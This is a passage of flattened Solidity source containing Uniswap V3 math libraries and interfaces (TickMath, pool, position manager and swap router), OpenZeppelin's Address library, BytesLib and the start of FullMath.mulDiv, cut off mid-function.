uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = - 887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = - MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(- int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141;
// 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
pragma experimental ABIEncoderV2;
interface INonfungiblePositionManager is IERC721
{
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// a library for performing various math operations
library SafeMathExtends {
uint256 internal constant BONE = 10 ** 18;
// Add two numbers together checking for overflows
function badd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ERR_ADD_OVERFLOW");
return c;
}
// subtract two numbers and return diffecerence when it underflows
function bsubSign(uint256 a, uint256 b) internal pure returns (uint256, bool) {
if (a >= b) {
return (a - b, false);
} else {
return (b - a, true);
}
}
// Subtract two numbers checking for underflows
function bsub(uint256 a, uint256 b) internal pure returns (uint256) {
(uint256 c, bool flag) = bsubSign(a, b);
require(!flag, "ERR_SUB_UNDERFLOW");
return c;
}
// Multiply two 18 decimals numbers
function bmul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c0 = a * b;
require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW");
uint256 c1 = c0 + (BONE / 2);
require(c1 >= c0, "ERR_MUL_OVERFLOW");
uint256 c2 = c1 / BONE;
return c2;
}
// Divide two 18 decimals numbers
function bdiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "ERR_DIV_ZERO");
uint256 c0 = a * BONE;
require(a == 0 || c0 / a == BONE, "ERR_DIV_INTERNAL");
// bmul overflow
uint256 c1 = c0 + (b / 2);
require(c1 >= c0, "ERR_DIV_INTERNAL");
// badd require
uint256 c2 = c1 / b;
return c2;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import './IUniswapV3SwapCallback.sol';
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <[email protected]>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
pragma solidity >=0.5.0 <=0.8.0;
library BytesLib {
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, 'slice_overflow');
require(_start + _length >= _start, 'slice_overflow');
require(_bytes.length >= _start + _length, 'slice_outOfBounds');
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_start + 20 >= _start, 'toAddress_overflow');
require(_bytes.length >= _start + 20, 'toAddress_outOfBounds');
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) {
require(_start + 3 >= _start, 'toUint24_overflow');
require(_bytes.length >= _start + 3, 'toUint24_outOfBounds');
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0;
// Least significant 256 bits of the product
uint256 prod1;
// Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = - denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv;
// inverse mod 2**8
inv *= 2 - denominator * inv;
// inverse mod 2**16
inv *= 2 - denominator * inv;
// inverse mod 2**32
inv *= 2 - denominator * inv;
// inverse mod 2**64
inv *= 2 - denominator * inv;
// inverse mod 2**128
inv *= 2 - denominator * inv;
// inverse mod 2**256
